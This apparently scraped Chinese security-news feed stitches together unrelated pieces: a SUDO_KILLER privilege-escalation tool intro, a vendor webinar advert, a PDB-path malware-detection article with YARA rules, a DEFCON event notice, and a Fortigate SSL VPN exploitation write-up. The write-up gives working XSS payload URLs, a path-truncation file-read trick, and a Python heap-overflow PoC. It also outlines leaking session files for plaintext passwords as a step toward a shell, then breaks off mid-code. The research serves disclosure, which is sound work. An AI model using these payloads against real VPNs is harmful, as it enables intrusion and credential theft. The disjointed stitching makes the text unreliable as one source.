-k : 关键词 -e : 导出路径 (export/etc/sudoers)

-c : 使用CVE检测相应的sudo版本

-s : 提供用户密码进行sudo检测

-r : 需保存的输出报告名称

-h : 查看帮助信息

CVE检测

如需更新CVE漏洞数据库,请运行这个更新脚本:./cve_update.sh。

提供密码(重要)

当你需要输入密码来运行命令“sudo -l“时,如果你无法使用-s参数来提供有效密码,那么脚本将无法正常工作。

Docker-漏洞测试环境

我们建议大家使用Docker镜像来作为工具的测试环境,镜像中已包含多个跟SUDO使用相关的漏洞以及错误配置。

Docker镜像可以直接在Docker Hub上获取,并且在每次重构之后都可以自动更新:【点我下载】。

1、从Docker Hub获取SUDO_KILLER_DEMO这个Docker镜像:

service docker start

docker pull th3xace/sudo_killer_demo

docker run --rm -it th3xace/sudo_killer_demo

2、使用Dockerfile构建镜像:

service docker start

git clone https://github.com/TH3xACE/SUDO_KILLER.git

cd SUDO_KILLER

docker build -t th3xace/sudo_killer_demo .

docker run --rm -it th3xace/sudo_killer_demo

演示样例

下面是我们给出的部分工具使用场景以及参考样例:【视频集】(需科学上网)

视频一:【Docker-设置漏洞环境

视频二:【场景1-CVE漏洞利用

视频三:【场景2-危险代码

视频四:【场景3-错误配置(通配符)

视频五:【场景4-错误配置(过度权限)

视频六:【场景5-错误配置(错误脚本)

视频七:【场景6-凭证收集

视频八:【场景7-环境变量利用

项目地址

SUDO_KILLER:【GitHub传送门

* 参考来源:TH3xACE,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

你知道

2019攻防对抗演练中,

哪类安全产品需求最火爆?

是NTA(网络流量分析);

你知道,

如何才能兼顾

东西流量和南北流量?

还是NTA;

你知道,

为什么有了IDS、WAF、防火墙、EDR等,

还是少不了NTA?

9月17日,全球网络安全500强瀚思科技与Gartner将联合发布权威白皮书《与HanSight NTA一同探索网络的真知灼见(中文版)》,为消除网络安全盲区、实现NTA的场景化应用指点迷津。

微信图片_20190916112206.jpg

关于本次在线直播发布

《与HanSight NTA一同探索网络的真知灼见》是由Gartner与瀚思科技合作发布的白皮书,深入浅出地介绍了如何借助NTA实现快速的检测、调查与整治,打赢高级威胁之战。

一、直播时间

2019年9月17日 下午14:30 

二、加入直播

长按识别下方二维码,通过小编验证后即可获得入群参加线上直播以及获赠该报告中文纸质版的资格

三、限量福利

前200位报名申请直播的小伙伴可以领取「悟空租车」提供的200元现金代金券,全国260个城市可用 

NTA是什么?

NTA是Gartner于2013年首次提出的,位列五种检测高级威胁的手段之一。它融合了传统的基于规则的检测技术,以及机器学习和其他高级分析技术,用以检测企业网络中的可疑行为,尤其是失陷后的痕迹。NTA是一种功能或能力,而非纯粹的产品。

它在如何演进?

Gartner最新报告指出,NTA解决方案正在逐步演变为通过采集网络分析以外的更多数据,实现更大范围的威胁检测。NTA是大数据安全平台中不可或缺的一部分。HanSight NTA综合了多种分析技术来检测企业网络上的可疑活动。它易于部署,能够指导调查与响应,还实现了与现有SOC(安全运营中心)平台的整合。NTA是一款非常具有吸引力的工具。

未来将走向哪里?

NTA市场远未成熟,也非标准化的产品,各厂商都有自己的思路和做法,既可以整合进大数据安全平台,也可以单独销售。虽然关于NTA还存在诸多误解,但是对于众多安全团队来说,NTA的确是提高威胁检测广度和深度的利器。Gartner认为,NTA领域持续发展,聚焦“客户价值”的理念将区分出各厂商的竞争定位。只有制定出令人信服的发展路线图,才能最终消除客户对NTA应用的困惑。

若想获得关于上述疑问的答案,欢迎参与本次白皮书的在线发布直播。

640.webp (1).jpg

扫一扫报名听直播+领取Gartner报告、租车代金券

注意事项:

1、本次活动中发放的代金券使用方式及解释权归悟空租车所有

2、因不当使用悟空租车公司提供服务而造成损失和伤害,瀚思科技不负担任何责任

timg.jpg

你是否想过恶意软件开发者在开发时的最初想法是什么?他们如何构建他们的工具?他们如何组织他们的开发项目?他们使用什么样的计算机和软件?

通过探索恶意软件调试信息,我们尝试回答其中的一些问题。首先,我们发现恶意软件开发人员为所开发的文件夹和代码所起的名称,通常都明确的表明了其所包含的功能。因此,当使用符号调试信息编译恶意软件项目时,这些描述性名称将显示在PDB路径中。通过调试信息可以让我们深入了解恶意软件开发环境,虽然这些信息不显眼,但只要最够细心,我们可以使用PDB路径和其他调试细节来检测相关的恶意活动。

人机协议

数字存储系统彻底改变了我们的世界,但为了利用我们存储的数据并以有效的方式检索它,我们必须合理地组织它。为此,用户要仔细构建目录,并为文件和文件夹提供唯一的描述性名称。用户通常根据文件内容命名文件夹和文件,而计算机会强制用户根据数据类型,功能和目的标记和注释其数据。这种人机协议意味着大多数存储的数数据会具有一些明确的描述文件,同样,恶意文件也不例外。对于PDB路径尤其如此,它是恶意软件中描述开发环境的工具标记。

PDB

在编译时生成的程序数据库(PDB)文件,通常称为“符号文件”,它会存储关于程序的单个构建的调试信息。 PDB可以存储符号、地址、函数和资源的名称以及可以帮助调试程序找到异常或错误的确切来源的其他信息。

恶意软件就是软件,恶意软件开发人员就是软件开发人员。与任何软件开发人员一样,恶意软件开发者通常必须调试他们的代码,有时还必须在开发过程中创建PDB。如果他们没有花时间调试他们的恶意软件,他们的恶意软件就有可能无法在目标主机上正常运行,或者无法成功地与他们的恶意软件进行远程通信。

PDB路径是如何生成的?

但PDB如何创建并连接到程序呢?让我们通过恶意软件开发人员的视角来研究一个PDB路径的形成(以Smiller为例)。

Smiller有很多编程项目,并在他的计算机上以适当标记的文件夹结构进行组织。此项目用于嵌入在HTML应用程序(HTA)文件中的shellcode加载程序,可以看出,开发人员把它很有逻辑地存储在文件夹中:

D:\smiller\projects\super_evil_stuff\shellcode\

1.png

简单的“Test”项目代码文件“Program.cs”,它将一段shellcode和一个可执行的启动程序嵌入到HTML应用程序(HTA)文件中

2.png

通过Windows资源管理器看到的恶意Visual Studio解决方案HtaDotnet和对应的“Test”项目文件夹,文件夹和文件的名称则明确描述了它们的功能

恶意软件开发者然后在默认的“Debug”配置中编译他们的“Test”项目Visual Studio(图3),并将Test.exe和Test.pdb写入子文件夹(图4)。

3.png

默认编译配置的Visual Studio输出

4.png

Test.exe和Test.pdb被写入代码项目文件夹的默认子文件夹

在Test.pdb文件(图5)中,引用了源代码文件的原始路径以及用于调试的其他二进制信息。

5.png

Test.pdb包含二进制调试信息和对原始源代码文件的引用,以便在调试时使用

在编译期间,链接程序通过在IMAGE_DEBUG_DIRECTORY中添加一个指定调试信息类型的条目,将PDB文件与构建的可执行文件相关联。在本文的示例中,调试类型是CodeView,因此PDB路径嵌入在文件的IMAGE_DEBUG_TYPE_CODEVIEW部分下。这使调试器能够在调试Test.exe时找到正确的PDB文件Test.pdb。

6.png

PEview实用程序中显示的Test.exe,它可以轻松地从可执行文件的IMAGE_DEBUG_TYPE_CODEVIEW部分解析出PDB路径

CodeView调试信息中的PDB路径

CodeView结构

调试信息的确切格式可能因编译器和链接器以及软件开发工具的现代化程度而异。CodeView调试信息存储在IMAGE_DEBUG_TYPE_CODEVIEW下面的结构中:

7.jpg

图7:CodeView调试目录信息的结构

完整与部分PDB路径

通常有两种CodeView PDB路径,一种是完全限定的目录路径,另一种是部分限定的目录路径,它们只指定PDB文件的名称。在这两种情况下,都包含扩展名为. PDB的PDB文件的名称,以确保调试器为程序找到正确的PDB。

部分限定的PDB路径将只列出PDB文件名,例如:

Test.pdb

完全限定的PDB路径通常以卷驱动器号和PDB文件名的目录路径开头,例如:

D:\smiller\projects\super_evil_stuff\shellcode\Test\obj\Debug\Test.pdb

通常,本机Windows可执行程序使用部分限定的PDB路径,因为许多调试PDB文件在Microsoft公共符号服务器上是公开可用的,因此在符号路径(PDB路径)中不需要完全限定的路径。在本文中,我们将主要关注完全限定的PDB路径。

调查恶意软件中的PDB路径

在与APT41有无数连接的Shadowhammer操作中,每个示例都有一个简单但描述性的PDB路径: 

D:\C++\AsusShellCode\Release\AsusShellCode.pdb

可以看出,这个命名非常有意义。该恶意软件旨在伪装成华硕公司的软件,传播恶意的shellcode,恶意软件开发人员根据恶意软件本身的功能和角色为该项目命名。

如果我们接受人机协定的约定,迫使开发人员采用这些命名约定,那么我们认为这些约定将适用于其他攻击者、恶意软件家族和入侵操作。一些研究团队喜欢从入侵集中获取看似无害的特性,并判断这些特性的攻击性。比如什么是正常的,什么是不正常的?什么是全球流行的攻击,什么是罕见的攻击?恶意软件开发者的做法与非恶意软件开发人员的做法有何不同?我们可以做出哪些假设并加以衡量?

出于好奇心,我们将CodeView调试信息结构调整为正则表达式(图8),并开发了Yara规则(图9)来调查数据集。这帮助我们识别共性,并使我们能够仅根据PDB路径字符串中的功能查看哪些威胁参与者和恶意软件系列可“检测”。

8.png

可执行文件中PDB7调试信息的perl兼容正则表达式(PCRE),其中以包含特定的关键字符

9.png

模板Yara规则,用于搜索与关键字匹配的PDB文件的可执行文件

PDB路径展示:恶意软件命名约定

我们在事件响应和恶意软件库中调查了1000多万个样本,发现许多常见的PDB路径关键词似乎来自不同的来源、受害者、受影响地区、受影响行业和参与者动机。为了帮助阐明恶意软件开发人员的广泛共性,我们详细介绍了一些较强的关键字,以及示例PDB路径,其中包含表示恶意软件家族和威胁组,其中至少有一个示例具有适用的关键字。

请注意,示例路径和表示的恶意软件家族和组是从整个数据集中选择的,它们不一定相互关联或以其他方式关联。这是为了说明PDB路径与关键字的广泛存在,以及恶意软件开发人员如何在不考虑来源、目标和动机的情况下,最终在命名中使用一些相同的单词。我们认为,这种共性增加了恶意软件的攻击面,并为检测和搜索带来了新的机会。

PDB路径关键字非常普遍

10.1.jpg

10.2.jpg

10.3.jpg

10.4.jpg

10.5.jpg

10.6.jpg

10.7.jpg

10.8.jpg

10.9.jpg

PDB路径中选择的常见关键字,包括观察到的恶意组和软件家族和示例

PDB路径展示:可疑的开发人员环境术语

通常用于描述恶意软件的关键字的强度足以引起警告,但是PDB路径中还有其他一些常见的术语或特性,它们可能表明可执行文件是在非企业设置中编译的。例如,任何包含“Users”目录的PDB路径都可以告诉你,该可执行文件可能是在Windows Vista/7/10上编译的,并且可能不代表“官方”或“商业”开发环境。术语“用户”在保真度上比“shellcode”弱得多,甚至更低,但正如我们下面所演示的,这些术语确实存在于许多恶意软件中,可以用于微弱的检测信号。

PDB路径术语的普遍性

11.1.jpg

11.2.jpg

PDB路径中常见术语的选择,以及观察到的恶意组和软件家族以及示例

PDB路径展示:探索异常

除了关键字和术语之外,我们还发现了一些不常见的特性,这些特性,可能对未来的研究和检测机会感兴趣。

非ascii字符

在我们的数据集中,任何非ascii字符的PDB路径的恶意软件与非恶意软件的比率都很高,此信号的强弱仅仅是因为我们的恶意软件语料库和客户群中存在数据偏差。但是,如果此数据偏差是一致的,我们可以在PDB路径中使用非ASCII字符作为可执行文件值得进一步审查的信号。在主要使用ASCII的组织中,我们认为这将是一个强烈的信号。下面我们在Yara中表达这种技术的逻辑:

rule ConventionEngine_Anomaly_NonAscii
{
    meta:
        author = "@stvemillertime"
    strings:
        $pcre = /RSDS[\x00-\xFF]{20}[a-zA-Z]:\\[\x00-\xFF]{0,500}[^\x00-\x7F]{1,}[\x00-\xFF]{0,500}\.pdb\x00/
    condition:
        (uint16(0) == 0x5A4D) and uint32(uint32(0x3C)) == 0x00004550 and $pcre
}

单个文件中的多个路径

每个编译的程序应该只有一个PDB路径。单个对象中存在多个PDB路径表示该对象具有子文件可执行文件,你可以从中推断父对象具有“删除”或“安装”其他文件的能力。虽然作为dropper或安装程序本身并不是恶意的,但是将这些分类应用于文件对象的替代方法可能有助于表现恶意活动。在此示例中,我们还可以使用Yara搜索此功能:

rule ConventionEngine_Anomaly_MultiPDB_Triple
{
    meta:
        author = "@stvemillertime"
    strings:
        $anchor = "RSDS"
        $pcre = /RSDS[\x00-\xFF]{20}[a-zA-Z]:\\[\x00-\xFF]{0,200}\.pdb\x00/
    condition:
        (uint16(0) == 0x5A4D) and uint32(uint32(0x3C)) == 0x00004550 and #anchor == 3 and #pcre == 3
}

在调试部分之外

编译文件时,调试信息的条目位于IMAGE_DEBUG_DIRECTORY中。与在单个文件中看到多个PDB路径类似,当我们在没有调试目录的可执行文件中看到调试信息时,可以推断该文件具有子文件可执行文件,并且可能具有dropper或安装程序功能。在此规则中,我们使用Yara的PE 模块来检查IMAGE_DIRECTORY_ENTRY_DEBUG条目的相对虚拟地址(RVA),如果是零,我们可以假定没有调试条目,因此CodeView PDB路径的存在表明有子文件。

rule ConventionEngine_Anomaly_OutsideOfDebug
{
    meta:
        author = "@stvemillertime"
        description = "Searching for PE files with PDB path keywords, terms or anomalies."
   strings:
        $anchor = "RSDS"
        $pcre = /RSDS[\x00-\xFF]{20}[a-zA-Z]:\\[\x00-\xFF]{0,200}\.pdb\x00/
   condition:
        (uint16(0) == 0x5A4D) and uint32(uint32(0x3C)) == 0x00004550 and $anchor and $pcre and pe.data_directories[pe.IMAGE_DIRECTORY_ENTRY_DEBUG].virtual_address == 0
}

含有null的PDB路径

在典型的CodeView部分中,我们将看到“RSDS”标头、16字节的GUID、4字节的“age”和PDB路径字符串。然而,我们已经确定了大量的恶意软件样本,其中嵌入的PDB路径区域为空。在这个例子中,我们可以很容易地看到CodeView调试结构,包括header、GUID和age,然后是段的末尾的null值。

00147880: 52 53 44 53 18 c8 03 4e 8c 0c 4f 46 be b2 ed 9e : RSDS...N..OF....
00147890: c1 9f a3 f4 01 00 00 00 00 00 00 00 00 00 00 00 : ................
001478a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 : ................
001478b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 : ................
001478c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 : ................

对于如何以及为什么CodeView PDB路径可能为null,有几种可能性,但是在故意篡改的情况下,为了删除工具标记,最简单的方法是用\x00s手动覆盖PDB路径。通过十六进制编辑器手工编辑和覆盖的风险是,这样做很费力,并且可能引入其他静态异常,例如校验和错误。

另一个最简单的方法是使用一个实用程序,该实用程序设计用于删除可执行文件中的调试构件。一个典型的例子是“peupdate”,它不仅用于提取或构造PDB路径信息,还可以重新计算校验和,并删除Rich标头信息。下面我们将会演示如何使用peupdate删除PDB路径。

16.png

使用peupdate删除恶意软件样本中的PDB路径信息

17.png

PEview实用程序中显示的peupdate篡改恶意软件,我们看到CodeView部分仍然存在,但PDB路径值已被删除

PDB路径异常发生率

18.1.jpg

18.2.jpg

观察到的具有恶意组和软件系列的PDB路径中的异常选择和示例

在下一篇文章中,我们讲接着讨论通过PDB路径展示出的异常和其他恶意行为。

image.png

网络安全态势

近年来,随着网络在个人、企业、政府及军事等领域的不断更新和应用,网络安全也进入到一个全新的时代,层出不穷的网络攻击,导致出现勒索病毒、信息泄露等一系列安全问题!即在网络安全形势日益严峻的今天,我们必须时刻高举“没有网络安全就没有国家安全”的鲜明旗帜,深入贯彻“中央网络安全和信息化领导小组”提出的建立高素质的网络安全和信息化人才队伍等一系列重要指示,严格遵守国家网络安全法律法规,使安全与发展并存!

DEFCON简介

DEFCON•世界顶级安全会议,由Blackhat创始人Jeff Moss于1993年创立,每年在拉斯维加斯举行,被称为极客界的“奥斯卡”.主要涉及的领域有软件安全、计算机架构、无线电窃听、硬件安全和其他容易受到攻击的信息领域,2018年5月在中国首次举办。DC860931(DEFCON GROUP 860931)是DEFCON授权认证的官方GROUP,其中86是中国的国际区号,0931是兰州的区号,因此DC860931也叫DEFCON 兰州。

沙龙主旨

本次DC·兰州的举办旨在为更多网络安全技术爱好者搭建最灵活实用的平台,发现和培养信息安全人才,普及信息安全知识,提升信息安全技能,让更多的安全爱好者、高校学生、企事业单位人员了解如何抵御信息泄露与网络攻击。

活动时间及地点

活动时间:2019年9月21日 9:30—17:00

活动地点:岚沐产业园-百合艺术中心(兰州市七里河区南滨河中路)

沙龙议程

image.pngimage.pngimage.png

特邀嘉宾阵容介绍

·李均

360安全研究院安全研究员,独角兽团队核心成员,他的研究领域包括网联汽车安全、硬件安全、无线安全等等。他曾在Blackhat、DEFCON、HITB、CanSecWest、Syscan360等国际著名安全会议发表过关于无线及汽车安全的研究成果。《无线电攻防大揭秘》、《智能汽车攻防大揭秘》、《Inside Radio: An Attack and Defense Guide》等安全书籍的作者。他是中国首个DEFCON GROUP——DC010的发起者,也是DEFCON GROUPS全球顾问委员会成员。

image.png

·lion(林勇)

中国红客联盟(HUC)创始人。联盟成立于2000年底,吸纳了全国众多黑客高手。其成员曾达到8万多人,成为世界排名第5的黑客组织。2011年获得了COG信息安全社会影响力奖。

image.png

·冰尘

360 Unicorn Group独角兽核心伙伴,i春秋讲师,Defcon Group 010历届分享者,Defcon Group 0571&雷锋沙龙演讲者,商洛市网络安全高级顾问。发表议题打造廉价badusb攻击,展示MTP协议泄露新思考和针对Android,Windows,Mac的跨平台BadUSB,2018 国家互联网应急中心主办中国网络安全年会《永不消逝的电波丶无限战争永不停》演讲者。主攻研究方向无线通讯安全、硬件安全、终端机安全。曾发现航空客机高危沙盒逃逸,某安卓手机厂商USB信息泄露漏洞。

image.png

·TNT

08sec团队创始人

DC86025发起人

image.png

·崔艳鹏

博士,网络与信息安全国家虚拟仿真实验教学中心信息安全中心主任,公安部第一研究所陕西服务站负责人,陕西省网络空间安全协会秘书长,西安电子科技大学副教授, 长期从事网络安全和网络攻防对抗领域的科研和教学工作 ,主持科研项目二十余项,发表论文20余篇,专利和软件著作权10余项。主持的“天安一号”无人机监测系统项目获得2017年陕西省科技工作者创新创业大赛银奖。

image.png

·贤唐

阿里安全应急响应中心负责人

image.png

·高昌盛(腹黑)

白帽100安全攻防实验室负责人,DC0571负责人,安全团队白帽100安全攻防实验室负责人之一,CTF战队W&M队长,他是杭州的DFECON GROUP——DC0571的负责人。

image.png

·刘文胜

国家工业信息安全发展研究中心(工信部电子一所)监测预警所网络安全工程师,熟悉工业控制系统安全,曾参与中央网信办、工信部关键信息基础设施网络安全检查,多次参与国家重大会议网络安保工作。

image.png

·王保玉(ID:脸谱)

Defcon Group 兰州发起人,丝路安全团队创始人,兰州大方电子-安全技术总监,专注于研究APT攻击防范、反网络诈骗等安全技术。

image.png

议题简介

议题一《红蓝对抗—来自红队的一些trick》

“以攻验防”的思想逐步深入,推动了红蓝对抗的发展。随处可见红蓝对抗的演习,但是很多pentester在对大型网络渗透时感到迷茫、没有方向。演讲者通过讲解他在红蓝对抗中总结的经验,告诉大家攻击成功绝不只靠运气。从破冰到横纵向移动到信息收集再到防御对抗,也许你差的只是一些经验和trick。希望通过演讲者的讲述能让更多红队从业人员在攻击过程中有更清晰的思路和对技术有更加明确的学习方向。

议题二《攻防演练那些事儿》

带你全方位解析攻防演练。

议题三《5G+AI时代下的机遇与风险》

从4G到5G+AI,一个机遇与风险并存的时代,随着3GPP冻结Release15,并通过38.331的协议,5G逐步的走入到了我们的生活当中,这是第一代在设计时考虑了物联网应用的蜂窝网络技术,并将在中长期产生重大影响。但是,对于任何正在计划物联网项目的人来说,5G的优势是什么?它真的是一个可行的选择吗?与此同时,伴随着各类无线传感设备的入网,大数据将是我们面临的第二个机遇,而处理大数据不能依靠简单的数据分析,这时候AI浮出水面,无论是最早的机器学习还是发展到现在的深度增强学习,对于我们来说都是大数据分析的利器。但是,对于大数据我们为什么要选用AI而不是其他手段?AI的优势是什么?它真的是一个可行的选择吗?同时,在大数据的时代下,个人还会有隐私吗?我们如何看待大数据给我们提供的便利与风险?

本议题将从以上两个方面去分析当今ICT行业的两大热门话题,深入浅出并且结合个人经历的讲解风险与机遇!

议题四《政企应用中的人工智能安全》

本议题基于AI全栈安全视角,深入分析AI在政企行业的一些典型应用和遇到的安全问题,例如在自助机人脸识别,政务AI机器人问答,自动驾驶标识牌检测,平安城市人体跟踪场景中,AI应用都存在安全问题。通过AI逻辑漏洞,以及文本、图片、物理对抗样本等攻击技术,可以成功绕过多种AI检测,产生巨大的危害。期望借助实际典型案例,提高行业对于AI安全的重视,打破AI在行业应用中的安全障碍,赋能各行业AI升级。

议题五《浅谈渗透测试前期工作之信息收集》

正所谓知己知彼方能百战不殆,议题浅入深出讲解渗透测试前期工作之信息收集手法。

议题六《自动化的设备标注引擎研究》

本议题主要讲解和讨论自动化规则编写器的思路与研发。

在当下的网络安全环境中,随着厂商以及各种CMS的不断增长,手动的编写网站CMS识别脚本、规则已经无法满足日常的安全研究工作。我们发现,绝大部分CMS以及IOT等移动设备在进行数据通信的时候会带有设备的部分信息(设备型号、CMS版权信息等),我们可以通过本地搭建的行业专业术语词库以及自动的互联网搜索引擎搜索来根据设备数据通信的信息去补全设备信息,从而生成一条针对该信息的匹配规则。

议题七《对飞行控制系统的逆向分析与漏洞挖掘》

本议题是对某民航飞机控制系统网络通信固件的逆向分析和漏洞挖掘研究,这是一个民用航空和安全分析的交叉领域研究,通过对飞机控制系统网络通信固件的逆向分析,发现了包括缓冲区溢出,内存破坏,权限提升在内的几个漏洞,并尝试编写漏洞利用代码。

议题八《Linux下的Ring0层软件对抗》

通过Linux内核模块加载机制,进行Linux内核下的ELF格式的病毒攻击以及通过使用Process Hollowing技术对Linux内核ELF格式病毒的检测与防护。

********

免费报名通道

********

image.png

********

Defcon Group 860931 微信群

image.png

********

主办单位:DEFCON GROUP 860931

指导单位:甘肃省互联网协会

技术支持:大方飞天网络空间安全实验室、GSTcoin、君信安科技、360独角兽安全团队、丝路安全团队-SRSEC、胡门网络、四叶草安全

支持单位:DEFCON GROUP 010、百度安全、兰州大方电子有限责任公司、极棒、西安胡门网络技术有限公司(公安部一所陕西服务站)、补天、山丘安全攻防实验室


2019年国家网络安全宣传周于9月16日至22日举行。关于网络安全,习近平一向高度重视,多次发表重要讲话。如何保障网络安全?网络安全工作有何新进展?

一、网络安全对国家安全牵一发而动全身

1.jpg

二、没有网络安全就没有国家安全

2.JPG

三、网络安全和信息化是一体之两翼、驱动之双轮

3.JPG

四、网络空间是亿万民众共同的精神家园

4.JPG

五、网络安全为人民,网络安全靠人民

5.JPG

六、网络安全不是“法外之地”

6.JPG

七、互联网核心技术是我们最大的“命门”

7.JPG

八、维护网络安全不应有双重标准

8.JPG

九、中国是网络安全的坚定维护者

9.JPG

十、共同构建网络安全命运共同体

10.JPG

你关心的这些事都有了新的进展

顶层设计

11.JPG个人信息保护

12.JPG

数据安全

13.JPG

关键信息基础设施

14.JPG

人才培养

15.JPG

技术产业

16.JPG*本文来源:人民日报如需转载请注明原出处

上个月,我们发布了Palo Alto Networks GlobalProtect RCE作为一个预热,现在这篇文章将是我们的主要研究成果,如果你不能去Black Hat或DEFCON参加我们的演讲,可以学习下面的PPT!

· 像NSA一样渗透企业内部网:在SSL VPN主流 厂商的VPN上进行RCE漏洞利用

0x00 研究调查

故事始于去年8月,当时我们开始了一个关于SSL VPN的新研究项目。与站点到站点VPN(如IPSEC和PPTP)相比,SSL VPN更易于使用,并且可与任何网络环境兼容,SSL VPN成为企业最流行的远程访问方式!

但是,如果这个可靠的设备不安全怎么办?它是一项重要的企业资产,但却是公司的盲点。根据我们对500强公司的调查,前三大SSL VPN厂商占据了约75%的市场份额。SSL VPN的多样性很窄,因此,一旦我们发现龙头SSL VPN存在严重漏洞,其影响就会很大。

这种漏洞也没有办法阻止我们,因为SSL VPN必须暴露在互联网上。

在我们的研究开始时,我们对龙头SSL VPN供应商的CVE数量进行了一些调查: 看起来Fortinet和Pulse Secure是最安全的。真的吗?作为一个myth buster,我们接受了这一挑战并开始挖掘Fortinet和Pulse Secure中的漏洞!这篇文章就是关于攻击Fortigate SSL VPN。

下一篇文章将是关于Pulse Secure,很精彩,敬请关注!

1567581627208.png

0x01  Fortigate SSL VPN

Fortinet将其SSL VPN产品线称为Fortigate SSL VPN,这在中型企业中很常见。互联网上有超过480,000台服务器,在亚洲和欧洲很常见。

我们可以通过URL识别它/remote/login,这是Fortigate的技术特征:

· 一体化(All-in-one)二进制文件

我们从文件系统开始研究。我们试图列出/bin/下的所有二进制文件,发现所有符号链接都指向/bin/init。就像这样:

1567582152059.png

Fortigate将所有程序和配置编译成一个二进制文件,这使得init非常庞大。 它包含数千个函数,没有符号! 它只包含SSL VPN的必要程序,因此对于黑客很不友好。 例如,甚至没有/ bin / ls或/ bin / cat!`

· Web守护进程

Fortigate上运行了2个Web界面。 一个是管理界面,在端口443上使用/ bin / httpsd处理。另一个是普通用户界面,默认情况下使用端口4433上的/ bin / sslvpnd处理。 通常,管理页面应限制在互联网上,因此我们只能访问用户界面。

通过我们的调查,我们发现Web服务器是apache的修改版本,但它是2002年的apache。显然他们在2002年修改了apache并添加了自己的附加功能。 我们可以映射apache的源代码以加速我们的分析。

在这两个Web服务中,他们还将自己的apache模块编译成二进制文件来处理每个URL路径。 我们可以找到一个指定处理程序表并深入研究它们!

· WebVPN

WebVPN是一种方便的代理功能,它允许我们通过浏览器连接到所有服务。它支持许多协议,如HTTP,FTP,RDP。它还可以处理各种Web资源,例如WebSocket和Flash。要正确处理网站,它会解析HTML并为我们重写所有网址。这涉及繁重的字符串操作,很容易产生内存漏洞。

0x02 挖到的漏洞

这是我们发现了几个漏洞:

1.CVE-2018-13379:预授权任意文件读取漏洞

在获取相应的语言文件时,它使用参数lang构建json文件路径:

 snprintf(s, 0x40, "/migadmin/lang/%s.json", lang);

没有保护,但会自动附加文件扩展名,我们只能读取json文件。 但是,实际上我们可以使用snprintf的功能。 根据手册,它最多将size-1写入输出字符串。 因此,我们只需要使它超过缓冲区大小,并且.json将被strip,然后就可以读取任意文件了。

2.CVE-2018-13380:预认证XSS

有几个XSS:

 /remote/error?errmsg=ABABAB--%3E%3Cscript%3Ealert(1)%3C/script%3E
 /remote/loginredir?redir=6a6176617363726970743a616c65727428646f63756d656e742e646f6d61696e29
 /message?title=x&msg=%26%23<svg/onload=alert(1)>;

3.CVE-2018-13381:预验证堆溢出漏洞

在编码HTML实体代码时,有两个阶段,服务器首先计算编码字符串所需的缓冲区长度,然后编码到缓冲区。

在计算阶段,例如,编码字符串为<is <,这应该占用5个字节。如果遇到&#,例如<,就会加入已经编码的令牌,并直接计算其长度。

 c = token[idx];
 if (c == '(' || c == ')' || c == '#' || c == '<' || c == '>')
     cnt += 5;
 else if(c == '&' && html[idx+1] == '#')
     cnt += len(strchr(html[idx], ';')-idx);

但是,长度计算和编码过程之间存在不一致,编码部分的处理并不多:

 switch (c)
 {
     case '<':
         memcpy(buf[counter], "<", 5);
         counter += 4;
         break;
     case '>':
     // ...
     default:
         buf[counter] = c;
         break;
     counter++;
 }

如果我们输入恶意字符串&#<<<;,<仍然被编码成<,所以结果应该是&#<<<;!这比预期的长度6个字节长得多,因此会导致堆溢出。

PoC如下:

 import requests
  data = {
     'title': 'x', 
     'msg': '&#' + '<'*(0x20000) + ';<', 
 }
 r = requests.post('https://sslvpn:4433/message', data=data)

4.CVE-2018-13382:神奇的后门

在登录页面中,我们找到了一个名为magic的特殊参数,一旦参数符合硬编码字符串,就可以修改任何用户的密码。

根据我们的调查显示,仍有大量的Fortigate SSL VPN没有打补丁。因此,考虑到其严重性,我们不会透露magic字符串。但是,CodeWhite的研究人员已经公布这个漏洞,其他攻击者很快就会利用此漏洞!请尽快更新Fortigate VPN!

1567585671314.png

1567585701561.png

5.CVE-2018-13383:授权后堆溢出漏洞

这是WebVPN功能的漏洞,在HTML中解析JavaScript时,它会尝试使用以下代码将内容复制到缓冲区中:

 memcpy(buffer,js_buf,js_buf_len);

缓冲区大小固定为0x2000,但输入字符串不受限制。 因此,就会存在堆溢出漏洞。值得注意的是,此漏洞可能会溢出Null字节,这在我们的利用中很有用。

要触发此溢出,我们需要将漏洞利用代码发送到HTTP服务器上,然后让SSL VPN将我们的漏洞利用代码以普通用户权限执行。

0x03 漏洞利用代码开发

我们将向你展示如何在没有身份验证的情况下从用户登录界面中进行RCE

1.CVE-2018-13381

我们的第一次尝试是利用pre-auth堆溢出。但是,此漏洞存在一个根本缺陷:它不会溢出Null字节。一般来说,这不是一个严重的问题。如今的堆利用技术已经克服了这个问题。然而,我们发现Fortigate上有几个障碍,使堆利用不稳定,难以控制。

· Single thread, single process, single allocator Web守护进程处理多个epoll()连接,没有多进程或多线程,主进程和库使用的是相同的堆,称为JeMalloc。这意味着,来自所有连接的所有操作的所有内存分配都在同一堆上。因此,堆空间真的很乱。

· 定期触发 这会干扰堆空间导致无法控制,我们无法控制堆空间,因为它会被销毁掉。

· Apache额外的内存管理

直到连接结束才会有内存free(),我们无法在一个连接中布置堆。实际上,这可以有效地缓解堆漏洞,尤其是对于UAF的漏洞。

· JeMalloc  JeMalloc隔离了元数据和用户数据,因此很难修改元数据并使用堆管理。此外,它集中了小的objects,这也限制了我们的利用。

我们被困在这里,然后我们选择尝试另一种方式。如果有人成功利用这一点,请教教我们!

2.CVE-2018-13379 + CVE-2018-13383

这是pre-auth文件读取和post-auth堆溢出的组合。一个用于获取身份验证,一个用于获取shell。

· 获得身份验证

我们首先使用CVE-2018-13379来泄漏会话文件。会话文件包含有价值的信息,例如用户名和明文密码,可以让我们轻松登录到系统上。

1567586324584.png

· get shell

登录后,我们可以要求SSL VPN代理我们的恶意HTTP服务器上的漏洞,然后触发堆溢出。

由于上面提到的问题,我们需要一个很好的目标来溢出。我们无法仔细控制堆,但也许我们可以找到经常出现的something !然而,从这个庞大的程序中找到这样一个目标是一项艰苦的工作,所以当时我们陷入困境……我们开始Fuzzing,试图获得有用的东西。

1567586443305.png

我们得到了一个有趣的crash, 我们可以控制程序计数器! 这就是为什么我们喜欢模糊测试:)

 Program received signal SIGSEGV, Segmentation fault.
 0x00007fb908d12a77 in SSL_do_handshake () from /fortidev4-x86_64/lib/libssl.so.1.1
 2: /x $rax = 0x41414141
 1: x/i $pc
 => 0x7fb908d12a77 <SSL_do_handshake+23>: callq *0x60(%rax)
 (gdb)

crash发生在SSL_do_handshake()

 SSL_do_handshake()
 int SSL_do_handshake(SSL *s)
 {
     // ...
